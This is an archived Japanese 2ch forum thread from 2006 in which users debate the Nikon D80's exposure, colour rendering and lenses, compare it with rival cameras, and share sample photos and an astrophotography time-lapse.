5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

D80 Part.12

1 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:27:11 ID:2A/VEpHA0
高解像度、高諧調、高精度AF。現時点のバランス点をコンパクトボディに凝縮。

語れる高性能 Nikon D80 (公式HP)
http://www.nikon-image.com/jpn/products/camera/slr/digital/d80/index.htm
デジチューター D80 (オンライン手引き)
http://www.nikondigitutor.com/jpn/d80/index.shtml
前スレ Nikon D80 Part.11
http://hobby7.2ch.net/test/read.cgi/dcamera/1158208906/
アップローダ デジカメ板
http://cgi21.plala.or.jp/dainana/

2 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:27:41 ID:2A/VEpHA0
主なレビュー
ttp://photo-cafe.jp/scoop/index.html
ttp://journal.mycom.co.jp/articles/2006/08/14/d80/
ttp://digitalcamera.impress.co.jp/06_09/auth/toku2/index.htm
ttp://dc.watch.impress.co.jp/cda/review/2006/08/11/4410.html
ttp://www.digitalcamera.jp/index.htm#D80memo
ttp://hardwarezone.com/articles/view.php?id=2016&cid=15&pg=1
ttp://www.digitalreview.ca/cams/NikonD80_imagesamples.shtml
ttp://www.dpreview.com/articles/nikond80/
ttp://computers.livedoor.com/series_detail?id=46808
ttp://arena.nikkeibp.co.jp/rev/20060828/118333/
ttp://www.rbbtoday.com/column/ogikubokei/20060829/

VR70-300の小さなサンプル
ttp://chsv.nikonimaging.com/global/products/lens/af/zoom/af-s_vr_zoom70-300mmf_45-56g_if/index.htm

3 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:29:12 ID:2A/VEpHA0
■FAQもどき【機能編】改訂

Q1.実際、画質はどうよ?
A1.よさげ。状況によってはD200をくう?

Q2.電池の持ちはどうよ?
A2.スペック上は、長持ちで有名なD70s以上だとか。

Q3.SDHCって何?
A3.4GB以上の容量が使えるSDカード上位規格。詳細はググれ。

Q4.古いレンズは使えるの?
A4.基本的にAi以降ならOK。非CPUレンズでは露出計きかないのが残念。

Q5.D80で、今までのNikonCapture4は使えるの?
A5.残念。Capture NXを買いましょう。NC4ユーザなら優待価格。
  ttp://shop.nikon-image.com/campaign/nx/index.html
  トライアル版(30日)もあり
http://chsv-soft.nikon-image.com/jpn/software/win/S-NCX___-101WF-JPNJP.exe

4 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:29:52 ID:2A/VEpHA0
■FAQもどき【購入編】改訂

Q1.これからデジイチデビュー。α100かD80のどっちがいい?
A1.とりあえず見るべし ttp://photo-cafe.jp/scoop/index.html
  C社のXも気にしなくていいかな?

Q2.D80でデジイチデビュー。家族写真中心だとレンズは何がいい?
A2.便利なVR18-200。貧乏ならボディはD50でも十分。

Q3.レンズキットの違いは?
A3.DX18-135は軽さ&高倍率で廉価クラス?。DX18-70は普通クラス?の標準レンズ。

Q4.D50(s)or D70(s)ユーザーですが何か?
A4.画素数だけでなく、見やすいファインダーと液晶の拡大率にご注目。高感度ノイズもね。

Q5.D200ユーザーですが何か?
A5.サブに是非。


5 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:31:01 ID:CER8SVmD0
>>1


6 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:31:23 ID:2GNxiw+L0
>>1
乙乙乙乙乙〜

7 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:32:38 ID:2GNxiw+L0
追加テンプレ

D80取説
http://chsv.nikon-image.com/jpn/support/manual/d_slr/D80_NT(10)02.pdf

8 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:32:59 ID:jaslX0q5O
>>1
乙。

9 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:38:14 ID:JSvCgYaaO
D80マンセー!乙

10 :名無CCDさん@画素いっぱい:2006/09/20(水) 11:48:29 ID:2nPCsrLl0
もっかいコピペしとこ

633 名前: 名無CCDさん@画素いっぱい Mail: sage 投稿日: 2006/09/12(火) 18:53:31 ID: ApHiwdNZ0
同条件での「露出値」は今までのニコンとほぼ同じ傾向。
同じ絞り時にD80だけシャッタースピードが遅くなるわけじゃない。

ちがうのはそれをJPEG変換する時の設定。
おおざっぱに言うとコントラスト高めになってるっぽい。
つまり白はより白くしてる。これが明るく感じる原因。

今までのニコン(D70とかD200とか)は
コントラスト等はあとでユーザーの好みに調整しやすいよう
わざと白を白く飛ばさないような設定になってました。
これはニコンだけじゃなく1Dsとかでもすごいネムイです。

逆に言うと白飛びしやすかったんですね。
でもD80は白飛びに強くなったことと、
対象ユーザーを「あとでチクチクいじらない人」を中心にしたため
コントラストを高めの設定にしたんだと思われます。
普通の人の普通の用途だと、飛ばすとこ飛ばした方がパッと見イイので。

今までのニコンを使ってた人にとっては、
飛びにくい配慮がデフォルトだったのが、
D80では飛ばすことも恐れない設定になったので、
ちょっととまどうことがあるけど、理屈がわかってる人は
各自好みの補正をしてね、ってことだと思う。

11 :名無CCDさん@画素いっぱい:2006/09/20(水) 12:19:15 ID:+gQ21vsQ0
>>1 乙〜

なんとなく記念にヌコ
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060920121810.jpg

12 :名無CCDさん@画素いっぱい:2006/09/20(水) 13:41:56 ID:/C7H5I4Q0
Nikon D80 オーナーズBOOK がモーターマガジン社から発売になったので購入した!
他機種(KissDXやα100)との比較記事など色々読ませて頂いたが、D80なかなか良いではないか!
ポートレートの作例見たけど、カメラ内蔵のD-ライティングは使えるね。
肌の色味なども素晴らしいね!

13 :名無CCDさん@画素いっぱい:2006/09/20(水) 14:07:28 ID:2GNxiw+L0
価格COM見ると、徐々に値段下がってきたね。
イイ感じ、イイ感じw
年末あたりを狙って買っちゃいます。

14 :名無CCDさん@画素いっぱい:2006/09/20(水) 14:28:49 ID:cZw9mtEf0
ふ〜ん、デジ一はじめての人でも大丈夫?
どっちかっていうと、限りなくマニュアルチックな作りの方が、とっつき易いのだが。

15 :名無CCDさん@画素いっぱい:2006/09/20(水) 14:43:36 ID:nk7ejplT0
キャッシュバックするころにはいくらくらいになってると思う?
8万くらいかな

16 :名無CCDさん@画素いっぱい:2006/09/20(水) 14:55:11 ID:2GNxiw+L0
>>15
今年はキャッシュバックは無いだろうな。
たぶん、来年の夏から年末にかけてだと思う。
その頃には、8万円台までいくだろうな。
おれは、そんな頃まで待てないんで年末に買うべ。

17 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:11:45 ID:jI40HEtd0
今日見にいって触ったら、すげ〜重いとへこんで
よく見たら、D200だった。
D80は本当にファインダー良いね、欲しい。
2台買えるなら絶対に買うんだが。

18 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:14:29 ID:2GNxiw+L0
>>17
D80を2台も買うのか?w

19 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:21:30 ID:jI40HEtd0
もちろん、D80は1台だけ。
もう一台は、軽さでKDXか機能でK10Dか。

20 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:23:58 ID:2GNxiw+L0
>>19
同クラスの他社製品を2台買うとは・・・。

21 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:24:53 ID:JSvCgYaaO
その分レンズ買えばw

22 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:26:38 ID:C1qH1s1c0
>>20 2台買えないからその3台の中で悩んでるんだろ。 悩んでいる時が楽しい時だよ。

23 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:27:28 ID:jI40HEtd0
ちゃんと書いてますが、あくまで仮定です。
もちろんレンズ買います。

24 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:28:32 ID:2GNxiw+L0
>>22
あー確かに、悩んでるときが一番楽しいな。
買ってしまえば何でもよくなってしまうおれ。

25 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:35:10 ID:mJFeCJG/0
>>23
KDXのファインダーとK100Dのレスポンスを兼ね備えた、スペシャルなD80があったらいいのにね。

マウントはシグマSAで。

26 :名無CCDさん@画素いっぱい:2006/09/20(水) 15:42:05 ID:CER8SVmD0
>>25
何その燃えないゴミwwwww

27 :名無CCDさん@画素いっぱい:2006/09/20(水) 17:02:31 ID:Jy3sdsO30
AF-S DX 18-135mm が地雷だっていうけど、これを見るといい線いってるようだが。
どんなものでしょう?

http://journal.mycom.co.jp/articles/2006/08/14/d80/006.html

28 :名無CCDさん@画素いっぱい:2006/09/20(水) 17:07:15 ID:JSvCgYaaO
今発売中のD80ムックで18-135撮影物あるけど全然OKだと思う。

29 :名無CCDさん@画素いっぱい:2006/09/20(水) 17:15:49 ID:oxasCw340
年末商戦で18-70レンズキットが10万台中盤まで下がると予想
レンズと三脚も同時に押さえてデジ一デビューを画策する俺

|バイトonline| λ.....

30 :名無CCDさん@画素いっぱい:2006/09/20(水) 17:19:47 ID:NiwPQhPu0
>>27
このレンズで一番問題なのは、歪曲収差。
このサイトの作例では、建物系がほとんどないので、
気にならないが、impress のレンガを見れば、実感するはず。

31 :名無CCDさん@画素いっぱい:2006/09/20(水) 17:24:12 ID:wBMVaK3r0
D80
AF-S DX VR ズームニッコール ED 18-200mm

今日、この組み合わせで買ってきた
都内はどこも AF-S DX VR ズームニッコール ED 18-200mm の在庫がなかったので

高速をすっとばして埼玉某所でゲッツ ちょっと郊外に行くと見つかるものですね
初デジイチなので精進したいと思います。

D80スレが無ければ多分買っていなかった
皆のおかげで買えたよ ありがとう


32 :名無CCDさん@画素いっぱい:2006/09/20(水) 17:31:58 ID:CER8SVmD0
>>31
オメデトウ!
仲間がまた一人増えて、嬉しいよ
そのレンズがあれば取り敢えずいろんなことができると思うので、
ガンガン撮りまくってください!!

33 :名無CCDさん@画素いっぱい:2006/09/20(水) 17:35:25 ID:jaslX0q5O
>>31
(≧▽≦)ゞ

34 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:03:39 ID:D36FQqsm0
俺もD80でデジイチデビューしたい・・・。

35 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:10:36 ID:JSvCgYaaO
カタログのスペックや人の話を聞いてカメラ選びするのもアリだが、
出来ればD80その物を触って頂きたい。
答えがすぐに出るよ。
キムタクのCMと同じ言葉を発する君がいる。

36 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:16:45 ID:9aWJNumC0
動物園
http://vista.undo.jp/img/vi5874364938.jpg
http://vista.undo.jp/img/vi5874367427.jpg
http://vista.undo.jp/img/vi5874369246.jpg
http://vista.undo.jp/img/vi5874371802.jpg

37 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:22:21 ID:9aWJNumC0
>>31
おめ
うーんと、D80+VR18-200は6人目だったかな。やっぱ便利だよね

38 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:31:47 ID:9aWJNumC0
しかし風太の子供は可愛かった
http://vista.undo.jp/img/vi5874452976.jpg
http://vista.undo.jp/img/vi5874447737.jpg
立ったけど後ろ向き
http://vista.undo.jp/img/vi5874449397.jpg
子育て中だからか風太は隔離されてた
http://vista.undo.jp/img/vi5874451162.jpg

39 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:33:27 ID:NiwPQhPu0
>>36
-1/3 EV でも、こんな明るいのか...


40 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:33:59 ID:k32T/Zf60
今現在D70+VR18-200で普段使い。

暮れにD80に換えようと思ってる。楽しみだな。

41 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:44:35 ID:9aWJNumC0
>>39
そう。だから-0.3が実質標準ってことになる
今日は凄い晴天だったから、さらに-0.3のブラケットで撮ってた

42 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:47:06 ID:NiwPQhPu0
>>41
俺の場合、-0.6 だな。
>>36 の絵は、目に痛いし、明るすぎて安っぽく見えてしまう。

43 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:53:52 ID:Kewwlkgs0
>>34
デビューしちゃってください。

http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20060920185032.jpg (777KB)
車のタイヤ(くだらん被写体ですみません)
シグマ 70-300/4-5.6D 非APO・非DG @300mm

44 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:55:25 ID:Rnpt5uNp0
有名人をCMに使うと便利だなぁ。
デジカメよく知らない人から
「一眼のデジカメ買おうと思うんだけどどれがいい?」
って聞かれたら
「キムタクのやつがいいよ」
で通じる。

45 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:56:02 ID:9aWJNumC0
>>42
まあ今日は凄く天気良かったからなあ。2枚目は明るすぎるかな
これは馬の-0.7
http://vista.undo.jp/img/vi5874599917.jpg

46 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:57:37 ID:NDmmhbb00
>42
-0.6ってどうやって設定する?

47 :名無CCDさん@画素いっぱい:2006/09/20(水) 18:59:00 ID:NiwPQhPu0
>>46
RAW なら、-0.1 単位で変更できる

48 :名無CCDさん@画素いっぱい:2006/09/20(水) 19:08:28 ID:y9kGGVi20
色が変。モードTは選べんのかね?

49 :名無CCDさん@画素いっぱい:2006/09/20(水) 19:13:26 ID:qtUb8mk1O
>>1
乙!


昨日三脚を持って行くも、クイックシューだけが無くて、夜景試し撮りを断念した者ですが、Ultra LUX i Fのクイックシュー、前々回撮影に行った時に、お台場の何処かに忘れて来てるっぽい。
D80 18-135キットでの夜景撮影は、注文したクイックシューが来てからになりそうです。

今日はいい天気でしたよね、関東。仕事で行けませんでしたが、前スレでうpしている方がいるようなので参考にしたいと思います。(携帯からレス)

50 :名無CCDさん@画素いっぱい:2006/09/20(水) 19:22:10 ID:2nPCsrLl0
>>36,38
イイ!
まんま商業印刷使えそうな露出。
みんなコントラストばりばりの液晶でながめてるのかなぁ。

51 :名無CCDさん@画素いっぱい:2006/09/20(水) 19:42:30 ID:SkyqsFWS0
>>44
すごい釣りかすごい基地外だなw

52 :名無CCDさん@画素いっぱい:2006/09/20(水) 19:45:23 ID:XKO//lVF0
俺は今日、D80+タムロン90mm F2.8で初デジイチデビュー。
レンズキットも検討したけど、どうせ初心者だし、撮りたいモノ向けの
レンズで練習しようと思って。
カメラ屋のおっちゃんはニタニタしてたけど、最初の一本が
マクロレンズって、やっぱり変?


53 :名無CCDさん@画素いっぱい:2006/09/20(水) 19:49:21 ID:dRb5LdhWO
変じゃないよ。
手ぶれに気を付けろ!

54 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:12:59 ID:yJX7K28m0
>>36>>38
GJ!!
漏れも千葉市民なのでw風太君Jr.を撮りに行こうかな?

55 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:14:46 ID:jaslX0q5O
>>53
いや、マクロのみは変わってるし。
>>48
うーん。その発言は釣りか持ってないかどっちか。

56 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:15:24 ID:JSvCgYaaO
>>51
普通だろw
商品=芸能人は世の中多大にあるよ。

パナのカメラ=浜崎あゆみ
桃の天然水=華原朋美
アイスの爽=滝沢秀明
車WISH=中田英寿
カール=カールおじさんとカエル
美宝堂=社長と孫
高須クリニック=郷ひろみ
カロリーメイト=24のジャック〈キーファー・サザーランド〉

57 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:19:21 ID:9aWJNumC0
>>54
近いなら行きなさいw駐車場500円、入場料500円
可愛いぞ
http://vista.undo.jp/img/vi5874479746.jpg

58 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:22:10 ID:2nPCsrLl0
ふーたがいるところって、うっそうとしてて、
ちょっと天気が悪いと暗いんだよなぁ。

59 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:24:44 ID:9aWJNumC0
>>58
冷房完備の場所に引っ越しましたよ、VIP待遇です

60 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:26:38 ID:2nPCsrLl0
ほー。

61 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:29:23 ID:y9kGGVi20
>>55
いや素直に色が変だと感じたんだが。
ここみてもやっぱD80の色は変
http://digitalcamera.impress.co.jp/06_10/auth/toku2/index.htm

62 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:35:48 ID:2nPCsrLl0
>>61
たとえば有名なフランス料理屋の味が「変」だと感じる人はいる。
好みってあるから、否定しない。というか、自分の道具をみつけよう。

63 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:40:47 ID:9aWJNumC0
>>61
まあ好みだからね、自分の好みだとαなんてかなり青すぎるし
D80は設定でホワイトバランス微調整できる
JPEG気に入らないならRAWで撮るしかないから他のカメラ買ったほうが良いよ

64 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:44:55 ID:cOHf379c0
>>61
全部オーバー。

65 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:48:16 ID:2nPCsrLl0
>>61
>色は変
色じゃなくて諧調が不自然なカットがあるね。
DLかましてんじゃないかっていう。

66 :名無CCDさん@画素いっぱい:2006/09/20(水) 20:58:47 ID:B6XTldb70
前スレ

1000 名前:名無CCDさん@画素いっぱい 投稿日:2006/09/20(水) 15:21:42 ID:+gQ21vsQ0
1000なら失禁

67 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:03:19 ID:2nPCsrLl0
ちゃんと拭けよ

68 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:04:32 ID:XpX4GQIE0
D80+サンヨンで柿を写す。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060920205735.jpg

69 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:16:56 ID:+gQ21vsQ0
大変だったよ

70 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:18:26 ID:bfjjsKuw0
フルサイズまだ〜??

71 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:18:31 ID:2nPCsrLl0
乙w

72 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:19:10 ID:2nPCsrLl0
ゴミ入ったんで、もっかい

>>69


73 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:43:58 ID:djEPC9zM0
>>61
D80のお姉ちゃんのおでこブロックノイズみたいだな…

74 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:46:28 ID:djEPC9zM0
オレのモニターがヘンだったwww

75 :762 ◆8udsPUAZG2 :2006/09/20(水) 21:54:48 ID:45au2Xg20
18-135が悪いといわれるけど>>61見ると悪くない
比較のαが醜すぎる

76 :名無CCDさん@画素いっぱい:2006/09/20(水) 21:56:39 ID:T0FI9v+30
UXGA位にあわせてリサイズすると結構見れる画になるんだね。

77 :名無CCDさん@画素いっぱい:2006/09/20(水) 22:17:24 ID:fdwMVgwJ0
>>64
たしか前スレで露出の問題ではなく絵作りって話があったが、
この比較だとやっぱ分散測光オーバー気味じゃないすかね。

78 :名無CCDさん@画素いっぱい:2006/09/20(水) 22:41:38 ID:cOHf379c0
>>77
明らかにおかしい。マルチパターンの傾向もおかしい。
少なくともメニューにメーターの補正が必須。


79 :名無CCDさん@画素いっぱい:2006/09/20(水) 22:42:58 ID:lv/jd1cT0
前スレのせいでサンヨンかVR70-300が欲しくなりつつある。
おまいら俺の物欲を刺激しないでくで!

80 :名無CCDさん@画素いっぱい:2006/09/20(水) 22:44:59 ID:cOHf379c0
>>79
サンヨンは今どこかで買える?

81 :ホワイト ◆KosbZRC5sc :2006/09/20(水) 22:45:34 ID:8H/LM8Cq0
>>61
なんかD80変だね
色 α
解像 KDX
ノイズレス D80

82 :名無CCDさん@画素いっぱい:2006/09/20(水) 22:48:48 ID:A30/FcjS0
やっぱ露出はオカシイよ、、
景色を撮っていてマイナス補正しないと、空が白飛びしまくる、、

83 :名無CCDさん@画素いっぱい:2006/09/20(水) 22:51:03 ID:9aWJNumC0
基準は-0.3ですからw

84 :ホワイト ◆KosbZRC5sc :2006/09/20(水) 22:52:35 ID:8H/LM8Cq0
D70のときは基準が+0.7っていわれたのに


85 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:14:58 ID:k+MFpwZZ0
420分割もしてるのにネェ ( ´・ω・) (・ω・` )ネェ

86 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:16:13 ID:BTIRsbSE0
露出補正無しの画像が見たいお

87 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:25:15 ID:GyAOfTB40
>>82
空を適正露出に収めたら、風景なんぞメタメタじゃね?
風景側を主題と判断して、そちらを適正露出にしているなら賢い子だと思うぞ。

88 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:30:49 ID:AP9Nq5b/0
露出のファームアップはまだか?
毎回設定するのに疲れてきたぞ


89 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:31:56 ID:2+es0Up80
>>84
>D70のときは基準が+0.7っていわれたのに

あほ。それじゃあ、どんより&白飛びじゃないか。
D70でも−1/3がデフォ。あとでいじる。

90 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:34:08 ID:9aWJNumC0
>>88
電源切っても記憶してませんか?

91 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:34:46 ID:/LTSKfRF0
D70でマイナス補正がデフォってやつはじめて見た。

92 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:35:24 ID:5D35wKu50
>61
おねーちゃんはヤバイね〜
高感度は最強だと思うけどな。。。
ちょっと考えちゃう

93 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:38:39 ID:2+es0Up80
>>91
あ、はじめまして。

94 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:39:46 ID:BTIRsbSE0
D80買おうかと思ってたけど、D70sにするかな

95 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:42:59 ID:+gQ21vsQ0
>>86
つ http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060920234210.jpg

96 :名無CCDさん@画素いっぱい:2006/09/20(水) 23:47:15 ID:2+es0Up80
すっきりヌケがいい!

97 :名無CCDさん@画素いっぱい:2006/09/21(木) 00:03:14 ID:3IVWrL1C0
>>86
http://vista.undo.jp/img/vi5876447423.jpg

98 :86:2006/09/21(木) 00:13:17 ID:PhuK9WTp0
thx

良いねー

空は撮るなつことか

99 :名無CCDさん@画素いっぱい:2006/09/21(木) 00:19:48 ID:LLM+etZ80
>>79
少しぶれてるし、背中を押してあげられる程じゃないけど、参考程度で。
http://dc-ita.dyndns.tv/cgi-bin/digitalcamera/imgboard/img-box/img20060921001611.jpg (685KB)
D80 AF-S300/4+TC-14EII

100 :名無CCDさん@画素いっぱい:2006/09/21(木) 00:43:28 ID:89JEWuWn0
TC14のせいかな?
なんか先までの精細さが無くなったような・・・。

101 :名無CCDさん@画素いっぱい:2006/09/21(木) 00:54:45 ID:0bVVfH9Z0
>>100
リサイズをしていない、まともなサンプルだからじゃないの?

102 :名無CCDさん@画素いっぱい:2006/09/21(木) 00:56:18 ID:Y2GazMPB0
前見た猫かなんかのは等倍でもよかった気がしたけどな。

103 :99:2006/09/21(木) 00:56:29 ID:LLM+etZ80
>>100
手ぶれもあるんでしょうが、どうしてもTC-14による劣化は感じますね。
今までの6MP機ならあまり分からなかったのですが・・・。
f8位まで絞ればだいぶ改善するんですが、この時はもう限界でした。

104 :名無CCDさん@画素いっぱい:2006/09/21(木) 01:00:00 ID:gjVEb2Jg0
前にD70で連続撮影した画像を一連の映像にしているってんで投稿した者です。
結局D80を買って、今回高峰高原に星なんぞを撮りにいってみますた。
で、D80での映像のファーストショットをうpしました。

http://079.info/079_26393.avi.html

パスは「star」で、DivXのハイビジョン仕様のaviファイルでつ。15MBで30秒の映像なんで、
マシンパワーの無い人は見れないかもしれんです。
ちなみにこの時はISO3200で15秒、17mmF2.8で約50分間連写で200枚の画像を引き延ばして
約5倍の中間画像を作成して、一連のムービーにしました。
スポットノイズは事前にキャップを付けたまま同じ絞りと同じシャッタースピードで撮影したもんを
減算したのですが、結構それでも残っちゃったですね、、
とはいえISO3200が使えるのはデカイですね、、D70で天の川を撮影した時よりも表現の幅が
広がりそうなヨカンがしてます、、ノイズも多いんですが、同じ映像でノイズをソフト的に除去した
ものを今レンダリング中です、、8時間近くかかるんで、、明日の朝には見れるかな〜、、
ソフトウェア上でノイズ除去した映像のキャプチャーは

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060920213218.jpg

105 :104:2006/09/21(木) 01:02:07 ID:gjVEb2Jg0
すんません間違えました、、
レンズは17mmじゃないですね、、ニコンの10.5mmの魚眼です。

106 :名無CCDさん@画素いっぱい:2006/09/21(木) 01:30:58 ID:riCM32VC0
>>104

久しぶりだな   いいか、、一度しか言わないぞ  よく聞け!!










ウッホ!!おまいテラスゴス⊂´⌒つ。Д。)つ  
やらないか?

107 :名無CCDさん@画素いっぱい:2006/09/21(木) 01:48:11 ID:n1tuf2bH0
>>104
GJ!!!
次の作品も楽しみに待ってます。

108 :名無CCDさん@画素いっぱい:2006/09/21(木) 01:52:29 ID:LLM+etZ80
>>104
天体屋さんは凄いなぁ・・・

109 :名無CCDさん@画素いっぱい:2006/09/21(木) 03:27:07 ID:UMTESER/0
>>104
ろだにうpしてるだけじゃないよね?
ホムペあるんでしょ?荒らさないから晒して。おねがい(はぁと

110 :名無CCDさん@画素いっぱい:2006/09/21(木) 08:01:14 ID:k12iAAPk0
>>104
ビミョーに板違いと思うけど、スッゲーな!

次回作品待っとるよ!!

勝手にネ申認定しますた。

111 :名無CCDさん@画素いっぱい:2006/09/21(木) 08:05:53 ID:eYYoDFGB0
昨日アキバヨドバシカメラ寄ったけど、D80の周りは人だかりがすごいね。
Kissやαはあんまり。
これがキムタク効果かと思った。

112 :名無CCDさん@画素いっぱい:2006/09/21(木) 09:23:23 ID:lv9qQlyU0
>>111
KDXが一番性能がいいのに素人はみんな分かってないよね。悲しくなるよ。

113 :名無CCDさん@画素いっぱい:2006/09/21(木) 09:30:53 ID:fv+wV4wf0
>>112
写真撮ろうと思ったらKDXのファインダーはナシだろ

114 :名無CCDさん@画素いっぱい:2006/09/21(木) 09:31:25 ID:k12iAAPk0
>>112
釣れないねw

115 :名無CCDさん@画素いっぱい:2006/09/21(木) 10:08:17 ID:/3yVlDmj0
>34
おれもそのレンズ持ってるけど、
300mmはどうひいき目に見ても抜けが悪くて眠いよな

116 :115:2006/09/21(木) 10:09:19 ID:/3yVlDmj0
アンカーミス
×>34
○>43

117 :名無CCDさん@画素いっぱい:2006/09/21(木) 10:16:48 ID:P2vQo/gK0
>>112 カメラ好きだったら自分が一番むなしいだろうな。 1件5円ならもうそういうアルバイトは止めなさい。

118 :名無CCDさん@画素いっぱい:2006/09/21(木) 10:21:24 ID:U3t5RqPC0
>>113
写真撮ろうと思ったらD80の糞画質はナシだろ

119 :名無CCDさん@画素いっぱい:2006/09/21(木) 10:46:20 ID:S7a0whWEO
今デジタルカメラマガジン10月号買ってきた。
D80とKDNとα100の比較ではD80全くダメだな…
D80買った俺には淋しい結果だ_| ̄|○

ファインダーを我慢してKDN買おうかな(・ω・)/

120 :名無CCDさん@画素いっぱい:2006/09/21(木) 10:47:10 ID:U3t5RqPC0
>>119
    ___
   ,;f     ヽ
  i:         i
  |         |
  |        |  ///;ト,
  |    ^  ^ ) ////゙l゙l;   
  (.  >ノ(、_, )ヽ、} l   .i .! |   ありがたやありがたや
  ,,∧ヽ !-=ニ=- | │   | .|
/\..\\`ニニ´ !, {   .ノ.ノ
/  \ \ ̄ ̄ ̄../   / .|


121 :名無CCDさん@画素いっぱい:2006/09/21(木) 10:53:53 ID:S7a0whWEO
でもやっぱD80が好きw
ニューモデル出るまでD80で楽しむ(・∀・)

122 :ホワイト ◆KosbZRC5sc :2006/09/21(木) 10:56:58 ID:NhZ0Vm9g0
>>119
デジカメマガジンに洗脳されてるやつはじめて見た

123 :名無CCDさん@画素いっぱい:2006/09/21(木) 10:57:10 ID:toJgb8k10
>>121
死ね    




     将来のおまえwww
        ↓
                     ,、-、 __
                    ,r'´,.r.'゙二_=
                  / ./ 二=ー _
                / ̄/ _,、-、二=ー
      =‐ハ=-    __,,.....、-=ー」´ムt.'´| __
   <三/=-,、-__毛_ー-,、三≡-.、.ム三≡=
    /ー/ ´.//TT.>、ヾ.三三三7== / __
  / /  / /.iニ(__)ニl .〉、三三´l /  /三≡= 
  /三≡. ! ヽヾ⊥レ'/三`丶、.::l{__.ノ     
  l_ 'ー-、!    ̄| ̄ 三三三≡r'ム/二=
  (ニ=、 ヽ=‐__!__ 三=-/三,ィ′
     \ノ〉二--二`'‐.、三三!´=-
        い-`==‐`ヾ人三/=-
        ``¨^ー'''ー⌒ー‐'′ ̄


124 :名無CCDさん@画素いっぱい:2006/09/21(木) 10:59:11 ID:k12iAAPk0
>>123
何のAAかサパーリわからん

125 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:01:51 ID:USsVxfzC0
ソーラレイに焼かれるボールの図

126 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:05:32 ID:k12iAAPk0
>>125
ふ〜ん。



>>123=ガンヲタか

127 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:13:11 ID:Rg4eQX020
>>119
写真鳥ならあのファインダーはナシだろ?
って有価おまえD80もってねーな

128 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:15:16 ID:WnCUuVd80
>>125
ソーラレイじゃなくてビグザムのビームだな

129 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:19:06 ID:USsVxfzC0
しまったビグザムだったか。
D80ホシス。

130 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:23:25 ID:tnPM8OBK0
>>119

この板にはデジカメマガジンの記事を真に受けるやつなんていないよw
買って悦んでるのはキヤノネッツだけww


131 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:26:42 ID:k12iAAPk0
>>130
先月号のD80の馬鹿レビュー見ればわかる。

132 :名無CCDさん@画素いっぱい:2006/09/21(木) 11:27:59 ID:S7a0whWEO
>>127
持ってるよw
しかしデジタルカメラマガジンに洗脳かw確かに笑えるなw
まぁエエわ!週末知多半島に行くからD80+VR70-200の画像うpするよ。
